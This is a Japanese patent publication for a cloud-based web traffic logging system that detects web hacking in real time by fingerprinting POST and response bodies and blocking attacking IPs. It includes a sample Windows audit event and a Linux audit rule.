(57)【要約】【課題】本発明は、ハッキング検知技術に関し、より詳しくは、ウェブハッキングに対応するためにリアルタイムでウェブトラフィックを分析するためのロギング技術に関する。【解決手段】本発明の一実施形態によると、ウェブトラフィック分析を、パケット又はログが発生する該当のサーバで行うのではなく、遠隔地システムであるクラウドサーバでシステム攻撃を検知かつ遮断するシステムであり、ウェブアプリケーションファイアウォールと類似の効果を奏するサービスを提供することができる。【代表図】図１
2019533841.tif 000002
【特許請求の範囲】
【請求項１】
ウェブトラフィックロギングシステムにおいて、
ウェブサーバ及びウェブサーバのオペレーティングシステムのうちの少なくとも一つからログを収集するための設定を行うログ設定部と、
前記設定に応じて収集された前記ログを含むログ情報を生成するログ統合部と、
前記ログ情報をクラウドサーバに転送するログ転送部と、を含む、ウェブトラフィックロギングシステム。
【請求項２】
前記クラウドサーバが、前記ログ情報をフィールド別に分解するログ分解部と、
フィールド別にフィンガープリントを生成するフィンガープリント生成部と、
前記フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在する場合、ソースＩＰアドレスを含む検知情報を生成する検知部と、を含む、請求項１に記載のウェブトラフィックロギングシステム。
【請求項３】
前記フィンガープリントは、前記ログ情報に含まれた単語及び前記単語が含まれたフィールドに対応してあらかじめ指定された変換文字に前記単語を変換し、前記ログ情報に含まれた数字列をすべての数字に対応してあらかじめ指定された変換文字に変換することを特徴とする、請求項２に記載のウェブトラフィックロギングシステム。
【請求項４】
前記検知部が、前記フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在しない場合、署名ベースの攻撃検知方法によって前記ログ情報に対応する攻撃を検知することを特徴とする、請求項２に記載のウェブトラフィックロギングシステム。
【請求項５】
前記ログ設定部が、ポストボディ、レスポンスボディに転送されるデータを含むログを収集し、プログラム動作位置、プログラム実行情報、プログラム実行対象形態及びプログラム実行主体、プログラム全体経路及びプログラム情報のうちの一つ以上を含むログを収集する設定を行う、請求項１に記載のウェブトラフィックロギングシステム。
【請求項６】
前記ウェブトラフィックロギングシステムは、ウェブサーバプログラムに組み込まれ、ウェブサーバ及びウェブサーバのオペレーティングシステムのうちの少なくとも一つで発生するログ生成のためのログ設定を行い、ログ設定に応じてログを生成及び統合し、生成したログ情報をクラウドサーバに転送する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項７】
前記ウェブトラフィックロギングシステムは、ウェブサーバプログラムとは独立して、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集するモジュールから構成されて生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項８】
前記ウェブトラフィックロギングシステムは、クライアントのリクエストに対してウェブサーバにトラフィックを転送する過程で中間に位置し、クライアントのリクエストを先に受け、これを再びウェブサーバにトラフィックを転送するリバースプロキシサーバから構成され、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集して生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項９】
前記ウェブトラフィックロギングシステムは、ポートミラーリング技法を用いてクライアントとウェブサーバとの間のトラフィックを別途のウェブトラフィックロギングサーバで統合し、ＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集して生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項１０】
前記ログ設定部が、セキュリティ原則に応じてあらかじめ設定された機密データは、アスタリスク（asterisk; *）のような特殊文字に変換するか、或いは暗号化するための設定を提供し、
前記機密データを事前に監視し、前記機密データが平文で保存されるのを防ぐための、機密データを事前に検知して推奨する設定を提供する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項１１】
前記ログ統合部が、前記ログ設定部の設定に応じて、機密データは、アスタリスク（asterisk; *）のような特殊文字に変換するか、或いは暗号化し、
ログ設定部の設定に応じて、機密データ推奨システムで機密データを選別して別途ファイルに記録する、請求項１０に記載のウェブトラフィックロギングシステム。
【請求項１２】
前記ログ統合部が、ログ設定部のプロトコル設定に応じて、ＨＴＴＰ（８０）である場合は、一般の平文分析を支援し、ＨＴＴＰＳ（４４３）である場合は、ウェブサーバの証明書及びプライベートキー（秘密鍵）を用いて暗号文を平文に変換してログを保存する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項１３】
前記ログ転送部が、前記ログ統合部で統合されたログを転送する場合、転送量を減らすために、プログラム実行を行わない静的ファイルに対しては転送から除外処理できるように選択事項を提供し、圧縮及び非圧縮、暗号化及び非暗号化に対しても選択事項を提供する、請求項１に記載のウェブトラフィックロギングシステム。
【請求項１４】
ウェブトラフィックロギングシステムにおける、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギング方法において、
ログを収集するための設定を行うステップと、
前記設定に応じて収集された前記ログを含むログ情報を生成するステップと、
前記ログ情報をクラウドサーバに転送するステップと、を含む、ウェブトラフィックロギング方法。
【請求項１５】
前記ログを収集するための設定を行うステップが、ポストボディ、レスポンスボディに転送されるデータを含むログを収集し、プログラム動作位置、プログラム実行情報、プログラム実行対象形態及びプログラム実行主体、プログラム全体経路及びプログラム情報のうちの一つ以上を含むログを収集する設定を行う、請求項１４に記載のウェブトラフィックロギング方法。
【請求項１６】
前記クラウドサーバが、前記ログ情報をフィールド別に分解するステップと、
前記クラウドサーバが、前記ログ情報に対応するフィンガープリントを生成するステップと、
前記クラウドサーバが、前記フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在する場合、ソースＩＰアドレスを含む検知情報を生成するステップと、
前記検知情報に応じて、前記ログ情報のソースＩＰアドレスからのアクセスを遮断するステップと、をさらに含む、請求項１４に記載のウェブトラフィックロギング方法。
【請求項１７】
前記フィンガープリントは、前記ログ情報に含まれた単語及び前記単語が含まれたフィールドに対応してあらかじめ指定された変換文字に前記単語を変換し、前記ログ情報に含まれた数字列をすべての数字に対応してあらかじめ指定された変換文字に変換した情報である、請求項１６に記載のウェブトラフィックロギング方法。
【請求項１８】
前記フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在しない場合、署名ベースの攻撃検知方法によって前記ログ情報に対応する攻撃を検知するステップをさらに含む、請求項１６に記載のウェブトラフィックロギング方法。
【請求項１９】
前記ウェブトラフィックロギングシステムは、ウェブサーバプログラムとは独立して、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集するモジュールで含むか、
クライアントのリクエストに対してウェブサーバにトラフィックを転送する過程で中間に位置し、クライアントのリクエストを先に受け、これを再びウェブサーバにトラフィックを転送するリバースプロキシサーバを含むか、或いは
ポートミラーリング技法を用いてクライアントとウェブサーバとの間のトラフィックを別途のウェブトラフィックロギングサーバを含み、ＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集してポストボディ、レスポンスボディのログを生成する、請求項１４に記載のウェブトラフィックロギング方法。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、ハッキング検知技術に関し、より詳しくは、ウェブハッキングに対応するため、ウェブトラフィックを分析するためのロギング技術に関する。
【背景技術】
【０００２】
近年において、サーバの脆弱点を狙う攻撃は、ゼロデイ攻撃で行われており、該攻撃は、ウェブアプリケーションの脆弱点から容易かつ迅速にサーバに侵入できる方法である。
【０００３】
ウェブアプリケーションの脆弱点への攻撃を防御する一般的な製品は、ウェブアプリケーションファイアウォール（WAF; Web Application Firewall）である。ウェブアプリケーションファイアウォールは、ＯＳＩモデル（Open Systems Interconnection Reference Model）のウェブアプリケーションを対象とするハッキング攻撃を検知して遮断する。従来のウェブアプリケーションファイアウォール（WAF）は、ウェブアプリケーショントラフィックをホストサーバ又はリバースプロキシ（実際のウェブサーバの前段ですべてのトラフィックを受けて転送する装置）で分析し、攻撃を検知して遮断する。
【０００４】
ホストサーバでトラフィックを分析して遮断するウェブアプリケーションファイアウォールは、ホストサーバの性能を低下させるということが主な短所である。一方、リバースプロキシ（Reverse Proxy）ベースのウェブアプリケーションファイアウォールは、分析過程をホストサーバから分離しているため、前述のような性能の問題はないが、クラウドサービスが一般化されている環境では、構成上、使用が制限されることがあるという短所がある。ここで、クラウドサービスとは、クラウドコンピューティング（Cloud Computing）を用いたサービスであり、クラウドコンピューティングは、インターネットベースのコンピューティングの一種であり、情報を自分のコンピュータではなく、インターネットに接続された他のコンピュータで処理する技術を意味する。また、クラウドサーバとは、クラウドコンピューティングを具現するためのサーバを意味する。
【０００５】
また、ハッキング攻撃の検知にあたって、ウェブアプリケーションファイアウォールは、署名ベースの分析を用いる。署名分析は、既存に登録しておいた署名をトラフィックから検出する方法であり、次のような問題点がある。第一に、署名ベースの分析は、誤検出率のような問題に対処するために、多くの署名を登録する必要があるが、署名が増えるほど検出速度が遅くなる恐れがある。第二に、署名ベースの分析は、登録されていない新たな攻撃を検知することができない。
【０００６】
ウェブアプリケーションファイアウォールのこのような問題点から、ウェブシェル（web shell）のような悪性コードが、ウェブアプリケーションファイアウォールによって検知されて遮断されることなく、そのままウェブサーバ内部まで侵入してインストールされる可能性が非常に高い。
【０００７】
本発明に対する先行技術文献としては、特許文献１がある。
【先行技術文献】
【特許文献】
【０００８】
【特許文献１】韓国登録特許第１０−１４１７６７１号公報（登録日：２０１４年７月２日）
【発明の概要】
【発明が解決しようとする課題】
【０００９】
本発明は、ＨＴＴＰ／ＨＴＴＰＳプロトコルを利用するウェブトラフィックをログとして保存した後、該ログをクラウドサーバに直ちに転送するか、或いはメモリー上で該トラフィックをクラウドサーバに直ちに転送し、リアルタイム分析してハッキングを検知するので、ウェブアプリケーションファイアウォールを通過したハッキング攻撃を検知することでウェブサーバハッキングに対応することができる、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギングシステム及び方法を提供するものである。
【００１０】
本発明は、ウェブトラフィック（パケット）からのハッキングに対する検知をクラウドサーバにおいて分析するので、ウェブサーバにおける性能の問題よりは大容量ログからハッキング検知が可能である、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギングシステム及び方法を提供するものである。
【００１１】
本発明は、ポストボディ（POST-BODY）、レスポンスボディ（RESPONSE-BODY）に転送されるデータを含むウェブトラフィック情報を収集してフィールド別に分解し、クラウドサーバに転送してクラウドサーバで分析する、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギングシステム及び方法を提供するものである。
【００１２】
本発明は、クラウドサーバにおいてウェブトラフィック情報をフィールド別に分解し、フィールド別にフィンガープリントを生成して迅速な攻撃検知が可能であり、検知可能な攻撃の範囲を広げることができる、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギングシステム及び方法を提供するものである。
【課題を解決するための手段】
【００１３】
本発明の一側面によると、ウェブトラフィックロギングシステムが提供される。
【００１４】
本発明の一実施形態によるウェブトラフィックロギングシステムは、ウェブサーバ及びウェブサーバのオペレーティングシステムのうちの少なくとも一つのログを収集するために設定を行うログ設定部と、設定に応じて収集されたログを含むログ情報を生成するログ統合部と、前記ログ情報を前記クラウドサーバに転送するログ転送部と、を含んでもよい。
【００１５】
一実施形態によると、クラウドサーバは、前記ログ情報をフィールド別に分解するログ分解部と、フィールド別に前記フィンガープリントを生成するフィンガープリント生成部と、前記フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在する場合、前記ソースＩＰアドレスを含む検知情報を生成する検知部と、を含んでもよい。
【００１６】
一実施形態によると、フィンガープリントは、ログ情報に含まれた単語及び単語が含まれたフィールドに対応してあらかじめ指定された変換文字に単語を変換し、ログ情報に含まれた数字列をすべての数字に対応してあらかじめ指定された変換文字に変換した情報であってもおい。
【００１７】
一実施形態によると、検知部は、フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在しない場合、署名ベースの攻撃検知方法によってログ情報に対応する攻撃を検知してもよい。
【００１８】
一実施形態によると、ログ設定部は、ポストボディ、レスポンスボディに転送されるデータを含むログを収集し、プログラム動作位置、プログラム実行情報、プログラム実行対象形態及びプログラム実行主体、プログラム全体経路及びプログラム情報のうちの一つ以上を含むログを収集する設定を行ってもよい。
【００１９】
一実施形態によると、ウェブトラフィックロギングシステムは、ウェブサーバプログラムに組み込まれ、ウェブサーバ及びウェブサーバのオペレーティングシステムのうちの少なくとも一つで発生するログ生成のためのログ設定を行い、ログ設定に応じてログを生成及び統合し、生成したログ情報をクラウドサーバに転送してもよい。
【００２０】
一実施形態によると、ウェブトラフィックロギングシステムは、ウェブサーバプログラムとは独立して、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集するモジュールから構成されて生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送してもよい。
【００２１】
一実施形態によると、ウェブトラフィックロギングシステムは、クライアントのリクエストに対してウェブサーバにトラフィックを転送する過程で中間に位置し、クライアントのリクエストを先に受け、これを再びウェブサーバにトラフィックを転送するリバースプロキシサーバから構成され、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集して生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送してもよい。
【００２２】
一実施形態によると、ウェブトラフィックロギングシステムは、ポートミラーリング技法を用いてクライアントとウェブサーバとの間のトラフィックを別途のウェブトラフィックロギングサーバで統合し、ＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集して生成されたポストボディ、レスポンスボディのログ情報を前記クラウドサーバに転送してもよい。
【００２３】
一実施形態によると、ログ設定部は、セキュリティ原則に応じてあらかじめ設定された機密データは、アスタリスク（asterisk; *）のような特殊文字に変換することで元のデータを確認できないようにするか、或いは暗号化することでプライベートキー（秘密鍵）がある場合のみに復号化する機能設定を提供してもよい。また、機密データを事前に監視し、機密データが平文で保存されるのを防ぐための、機密データを事前に検知して推奨する設定を提供してもよい。
【００２４】
一実施形態によると、ログ設定部は、ウェブトラフィック又はログから事前に定義された形態の様式（フォーマット）で構成されるように設定を提供してもよい。
【００２５】
一実施形態によると、ログ統合部は、ログ設定部の設定に応じて、機密データは、アスタリスク（asterisk; *）のような特殊文字に変換するか、或いは暗号化し、ログ設定部の設定に応じて、機密データ推奨システムで機密データを選別して別途ファイルに記録してもよい。
【００２６】
一実施形態によると、ログ統合部は、ログ設定部のプロトコル設定に応じて、ＨＴＴＰ（８０）である場合は、一般の平文分析を支援し、ＨＴＴＰＳ（４４３）である場合は、ウェブサーバの証明書及びプライベートキー（Private Key）又は秘密鍵（Secret Key）を用いて暗号文を平文に変換してログを保存してもよい。
【００２７】
一実施形態によると、ログ転送部は、ログ統合部で統合されたログを転送する場合、転送量を減らすために、プログラム実行を行わない静的ファイルに対しては転送から除外処理できるように選択事項を提供し、圧縮及び非圧縮、暗号化及び非暗号化に対しても選択事項を提供してもよい。
【００２８】
本発明の他の一側面によると、ウェブトラフィックロギングシステムにおける、ウェブハッキングのリアルタイム検知のためのウェブトラフィックロギング方法が提供される。
【００２９】
本発明の一実施形態によるウェブトラフィックロギング方法は、ログを収集するための設定を行うステップと、設定に応じて収集されたログを含むログ情報を生成するステップと、ログ情報をクラウドサーバに転送するステップと、を含むが、ログを収集するための設定を行うステップは、ポストボディ、レスポンスボディに転送されるデータを含むログを収集し、プログラム動作位置、プログラム実行情報、プログラム実行対象形態及びプログラム実行主体、プログラム全体経路及びプログラム情報のうちの一つ以上を含むログを収集する設定を行うステップであってもおい。
【００３０】
一実施形態によると、クラウドサーバがログ情報に対応するフィンガープリントを生成するステップと、クラウドサーバがフィンガープリントを分析して検知情報を生成するステップと、検知情報に応じて、ログ情報のソースＩＰアドレスからのアクセスを遮断するステップと、を含んでもよい。
【００３１】
一実施形態によると、クラウドサーバがログ情報に対応するフィンガープリントを生成するステップは、ログ情報をフィールド別に分解するステップと、フィールド別にフィンガープリントを生成するステップと、を含んでもよい。
【００３２】
一実施形態によると、クラウドサーバがフィンガープリントを分析して検知情報を生成するステップは、フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在する場合、ソースＩＰアドレスを含む検知情報を生成するステップであってもよい。
【００３３】
一実施形態によると、フィンガープリントは、ログ情報に含まれた単語及び単語が含まれたフィールドに対応してあらかじめ指定された変換文字に単語を変換し、ログ情報に含まれた数字列をすべての数字に対応してあらかじめ指定された変換文字に変換した情報であってもよい。
【００３４】
一実施形態によると、フィンガープリントのうち、ブラックリストに含まれたフィンガープリントに対応する攻撃フィンガープリントが存在しない場合、署名ベースの攻撃検知方法によってログ情報に対応する攻撃を検知するステップをさらに含んでもよい。
【００３５】
一実施形態によると、ウェブトラフィックロギングシステムは、ウェブサーバに組み込まれたモジュールを含むか、ウェブサーバプログラムとは独立して、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集するモジュールを含むか、クライアントのリクエストに対してウェブサーバにトラフィックを転送する過程で中間に位置し、クライアントのリクエストを先に受け、これを再びウェブサーバにトラフィックを転送するリバースプロキシサーバにインストールされるモジュールを含むか、或いはポートミラーリング技法を用いてクライアントとウェブサーバとの間のトラフィックを別途のウェブトラフィックロギングサーバを含み、ＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集してポストボディ、レスポンスボディのログを生成してもよい。
【発明の効果】
【００３６】
上述のように、本発明の一実施形態によると、ウェブトラフィック分析においてウェブサーバにインストールされたモジュールでウェブトラフィックを分析するのではなく、ログが発生するウェブサーバとは別途の遠隔地クラウドサーバに転送して分析するので、ウェブサーバの性能の問題を解決し、クラウド環境下のウェブアプリケーション攻撃を検知して遮断するウェブアプリケーションファイアウォールと類似の効果を奏するサービスを提供することができる。
【００３７】
また、ウェブトラフィック分析においてウェブトラフィックのログ設定部は、ウェブトラフィック又はログから事前に定義された形態の様式（フォーマット）で構成されるように設定してもよい。そのことから、クラウドサーバがログをフィールド別に区分する際の便宜を図り、ウェブトラフィック又はログの変化が発生しても、クラウドサーバのログ分解部のシステム又はプログラムの構成変化を最小限に抑えることができる。
【００３８】
また、本発明の一実施形態によると、ポストボディ及びレスポンスボディに転送されるデータを含むウェブトラフィック情報を収集して分析することで、検知可能な攻撃の範囲を広げることができ、該攻撃の成功有無を正確に判断することができる。
【００３９】
また、クラウドサーバにポストボディ及びレスポンスボディなどのデータが長期保存されるので、問題が発生した場合は、過去のログから問題の原因を把握して解決するのに役立てることができる。
【００４０】
また、本発明の一実施形態によると、ログ情報をフィールド別に分解し、フィールド別のフィンガープリントを生成することで迅速な攻撃検知が可能である。
【００４１】
また、本発明の一実施形態によると、ＨＴＴＰ／ＨＴＴＰＳプロトコルのトラフィックをリアルタイムで転送するか、或いはログとして保存し、該ログをクラウドサーバに転送してからリアルタイムで分析してハッキングを検知するので、ウェブアプリケーションファイアウォールを通過したハッキング攻撃を検知してウェブサーバハッキングに対応することができる。
【００４２】
また、本発明の一実施形態によると、ログに対する署名ベースの分析をクラウドサーバ上で行うことで、ホストサーバの性能に署名ベースの分析による影響を与えないで済む。
【００４３】
また、本発明の一実施形態によると、ウェブトラフィックロギングシステムは、ウェブサーバに組み込まれたモジュール、ウェブサーバとは独立してウェブサーバにインストールされるモジュール、クライアントとウェブサーバとの間に設置されるリバースプロキシサーバにインストールされるモジュール又はウェブサーバのポートをミラーリングして別途のサーバでウェブトラフィックを統合するモジュールを含んでもよい。
【図面の簡単な説明】
【００４４】
【図１】本発明の第１の実施形態によるウェブトラフィックロギングシステムを説明するための図である。
【図２】本発明の一実施形態によるウェブトラフィックロギングシステムのウェブトラフィックロギング部を説明するための図である。
【図３】本発明の一実施形態によるウェブトラフィックロギングシステムのクラウドサーバを説明するための図である。
【図４】本発明の一実施形態によるウェブハッキングのリアルタイム検知のためのウェブトラフィックロギング方法及びログを分析して検知する方法を説明するための図である。
【図５】本発明の第２の実施形態によるウェブトラフィックロギングシステムであって、ウェブサーバに設置されるものの、ウェブサーバとは独立して動作するウェブトラフィックロギング部を説明するための図である。
【図６】本発明の第３の実施形態によるウェブトラフィックロギングシステムであって、リバースプロキシに設置されて運営されるウェブトラフィックロギング部を説明するための図である。
【図７】本発明の第４の実施形態によるウェブトラフィックロギングシステムであって、ポートミラーリング方式でウェブトラフィックロギング部を説明するための図である。
【発明を実施するための形態】
【００４５】
以下では、添付した図面を参照し、この発明の属する技術の分野における通常の知識を有する者が容易に実施できるように、本発明の実施形態を詳しく説明する。しかしながら、本発明は、様々な異なる形態で具現され得るものであり、ここで説明する実施形態に限定されるものではない。また、ある部分がある構成要素を「含む」とする場合、これは、特に断りのない限り、他の構成要素を除くものではなく、他の構成要素をさらに含んでもよいことを意味する。
【００４６】
図１は、本発明の第１の実施形態によるウェブトラフィックロギングシステムを説明するための図である。
【００４７】
図１を参照すると、本発明の第１の実施形態によるウェブトラフィックロギングシステムは、ウェブサーバ１００、ウェブトラフィックロギング部１１０、及びクラウドサーバ２００を含む。
【００４８】
ウェブサーバ１００は、ウェブトラフィックロギング部１１０によってウェブサーバ及びウェブサーバのオペレーティングシステムのうちの少なくとも一つで収集したログ生成のためのログ設定を行い、ログ設定に応じてログを生成及び統合し、ログ情報を生成する。ウェブトラフィックロギング部１１０は、その後、生成したログ情報をクラウドサーバ２００に転送する。ウェブトラフィックロギング部１１０は、クラウドサーバ２００にウェブハッキング検知情報を受信するか、或いは自動で該当の情報を読み込む方法で情報を取得し、ウェブハッキング検知情報に含まれたログのソースＩＰアドレスを遮断リストに追加する。ウェブトラフィックロギング部１１０により、ウェブサーバ１００又はウェブサーバのオペレーティングシステムは、遮断リストに含まれた各ソースＩＰアドレスからのアクセスを遮断する。
【００４９】
さらに詳しく説明すると、ウェブトラフィックロギング部１１０は、例えば、ＣＬＦ（Common Log Format）、ＥＬＦ（Extended Log Format）で規定された項目を含み、下記のようなログを生成して様式化する。
Cookie, Status, Server, Version, Request, Referer, User-Agent, Connection, Host, Accept-Encoding, Method, x-forwarded-for, Remote-addr, Uri, Cache-Control, Content-Length, Request-date, Content-Type, Request-Body(Post-Body), Response-Body(Resp-Body)
【００５０】
また、ウェブトラフィックのＨＴＴＰ／ＨＴＴＰＳプロトコルのＲｅｑｕｅｓｔ方式としては、ＧＥＴ、ＰＯＳＴ、ＨＥＡＤ、ＯＰＴＩＯＮＳ、ＰＵＴ、ＤＥＬＥＴＥ、ＴＲＡＣＥがある。ウェブトラフィックロギング部１１０は、ウェブサーバのハッキングに備えるために、ウェブクライアントとウェブサーバとの間のＨＴＴＰ／ＨＴＴＰＳプロトコル内の全ての項目においてハッキングを検知する。ウェブトラフィックロギング部１１０は、ポストボディ及びレスポンスボディの統合を含む。これは、ハッカーがポスト（POST）方式で本文（BODY）に攻撃データを挿入して攻撃するためであり、ポストボディの分析は重要である。また、攻撃の成功有無に対してレスポンスボディを通じて明確に判別できるので、レスポンスボディの分析も重要である。ウェブトラフィックロギング部１１０は、例えば、ＳＱＬインジェクション、クロスサイトスクリプティング（XSS）、そしてウェブウェル（Web Shell）のような多くのハッキングコードが挿入されて転送されるポストボディを分析することで、ウェブハッキングを検知してもよい。このように、ウェブサーバにリクエスト（Request）されたデータは、ウェブサーバのリクエストに対する応答結果が含まれている。そこで、応答結果には、実際に攻撃が成功したか否かが含まれており、攻撃が成功した場合、どのようなデータが漏洩データであるかをリアルタイムで確認することができる。ポストボディやレスポンスボディは、一般的にウェブサーバプログラムのメモリー上のみで管理され、作業の終了後に削除される特徴を有しているので、ログ分析によるハッキング検知ソリューションは、ポストボディ及びレスポンスボディの分析そのものを支援できない場合がある。
【００５１】
ウェブサーバ１００は、ウェブサーバプログラムに組み込まれたウェブトラフィックロギング部１１０を含み、ウェブサーバプログラムのメモリーを共有してＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスのすべての項目でポストボディ及びレスポンスボディのログを生成し、ポストボディ及びレスポンスボディのログをクラウドサーバ２００に転送する。ＨＴＴＰＳプロトコルの場合、データが暗号化されているので、ウェブサーバの証明書及びプライベートキー（秘密鍵）を用いて復号化した後、データ分析を行う。
【００５２】
クラウドサーバ２００は、複数のサーバを含み、各サーバ２００は、互いに連動してログ情報を分析して攻撃を検知する。クラウドサーバ２００は、クラウドサーバのみならず、遠隔地で駆動されるシステム全てを含んでもよい。例えば、各クラウドサーバ２００は、互いに連動してログ情報をフィールド別に分解し、分解された各フィールドに対するフィンガープリントを生成してもよい。クラウドサーバ２００は、フィンガープリントを分析して攻撃を検知できる。クラウドサーバ２００は、フィンガープリントによって攻撃が検知されない場合、署名ベースの分析によってログ情報を分析してもよい。クラウドサーバ２００は、フィンガープリントベースの分析又は署名ベースの分析によって攻撃を検知した場合、該ログのソースＩＰアドレスを含む検知情報をウェブサーバ１００のウェブトラフィックロギング部１１０に転送するか、或いはウェブトラフィックロギング部１１０が周期的に接続して検知情報を読み込むようにする。各クラウドサーバ２００の詳細な構成は、後述の図３を参照し、詳しく説明する。
【００５３】
以下、前述のウェブトラフィックロギングシステムのウェブトラフィックロギング部１１０及びクラウドサーバ２００を詳しく説明する。
【００５４】
図２は、本発明の一実施形態によるウェブトラフィックロギングシステムのウェブトラフィックロギング部を説明するための図である。
【００５５】
図２を参照すると、ウェブトラフィックロギング部１１０は、ログ設定部１１２、ログ統合部１１４、ログ転送部１１６、及びＩＰアドレス遮断部１１８を含む。
【００５６】
ウェブトラフィックロギング部１１０は、本発明の第１の実施形態によると、ウェブサーバ１００のオペレーティングシステムによって動作し、ログ設定部１１２、ログ統合部１１４、ログ転送部１１６、及びＩＰアドレス遮断部１１８は、オペレーティングシステム上でその動作を行ってもよい。
【００５７】
ログ設定部１１２は、ログ生成のための設定を行う。例えば、一般的なウィンドウズ（登録商標）やリナックス（登録商標）では、プログラムの実行によるサーバのパスワードのような、セキュリティ原則に応じてあらかじめ設定された機密データの漏洩、特定実行プログラムへのインジェクションによるメモリーハッキング、ホスト（hosts）ファイル修正によるフィッシングやファーミング攻撃、外部への遠隔接続からハッカーがサーバ内部にアクセスできるリバースコネクション連結のような、悪意のある行為に対するログを記録するように設定されていない。ログ設定部１１２は、ウィンドウズ（登録商標）の場合、高級セキュリティの監査ポリシーにおいて、個体アクセス追跡の監査及びプロセス追跡の監査を活性化するようにログ設定を行う。ログ設定部１１２は、ポストボディ及びレスポンスボディに転送されるデータを含むすべてのＨＴＴＰ／ＨＴＴＰＳプロトコルを介して転送されるデータをログとして収集するようにログ設定を行う。そこで、ウェブサーバ１００が用いるＨＴＴＰ／ＨＴＴＰＳプロトコルのメソッド（Method）は、ＧＥＴ、ＰＵＴ又はＰＯＳＴのような動詞型メソッド、ＨＥＡＤ又はＯＰＴＩＯＮＳのような名詞形メソッドがある。例えば、ＧＥＴは、一つのリソースを呼び込むメソッドであり、ＰＯＳＴは、データがサーバに入るべきであること（リソースが生成又は修正されているか、或いは返信されるべき臨時文書を作成する動作など）を意味するメソッドである。ログ設定部１１２は、ウェブハッキング攻撃の検知能力を高めるために、ポストボディ及びレスポンスボディの内容をログとして保存するように設定する。また、ログ設定部１１２は、ポストボディ及びレスポンスボディの内容のうち、パスワード、個人識別番号、カード番号などのような、セキュリティ原則に応じてあらかじめ設定された機密内容は、アスタリスク（asterisk; *）のような特殊文字に変更するか、或いは暗号化する方法で保安性を強化してもよい。また、ログ設定部１１２は、機密内容のデータを推奨できるシステムとして、正規の表現式を用いて“/pw/, /secure/, /jumin/”などのような機密であると予測されるデータを別途のロギングによってユーザに通知するため、機密データが暗号化されず、平文でログに保存されることをあらかじめ防いでもよい。
【００５８】
ログ設定部１１２のログ設定に応じて、ウェブサーバ１００のウィンドウズ（登録商標）オペレーティングシステムは、高級監査ポリシーを設定するので、下記のようなログを生成してもよい。
-<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
-<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
<EventID>4663</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12800</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2017-09-04T00:39:43.253443300Z" />
<EventRecordID>2780317</EventRecordID>
<Correlation />
<Execution ProcessID="4" ThreadID="84" />
<Channel>Security</Channel>
<Computer>WIN-4BL8TBE4TQ1</Computer>
<Security />
</System>
-<EventData>
<Data Name="SubjectUserSid">S-1-5-21-172867653-2026485058-4229104567-500</Data>
<Data Name="SubjectUserName">Administrator</Data>
<Data Name="SubjectDomainName">WIN-4BL8TBE4TQ1</Data>
<Data Name="SubjectLogonId">0x3824b</Data>
<Data Name="ObjectServer">Security</Data>
<Data Name="ObjectType">File</Data>
<Data Name="ObjectName">C:\Program Files(x86)\PLURA\@ELC_config.ini</Data>
<Data Name="HandleId">0x1204</Data>
<Data Name="AccessList">%%1538</Data>
<Data Name="AccessMask">0x20000</Data>
<Data Name="ProcessId">0x6f8</Data>
<Data Name="ProcessName">C:\Windows\explorer.exe</Data>
</EventData>
</Event>
【００５９】
その時、一般的なウィンドウズ（登録商標）オペレーティングシステムで生成する基本ログとは異なり、ウェブトラフィックロギング部１１０で生成するログは、プログラム動作位置（ObjectName）、プログラム実行情報（ProcessName）、プログラム実行対象形態（ObjectType）及びプログラム実行主体（SubjectUserName）のようなファイルアクセス検知に対する重要情報を含んでもよい。
【００６０】
また、ログ設定部１１２は、リナックス（登録商標）のウェブシェルによる攻撃などを検知するために、下記のようなコマンドによってログ設定を行ってもよい。
auditctl -a always,exit -F arch=b64 -S execve -F uid=apache
【００６１】
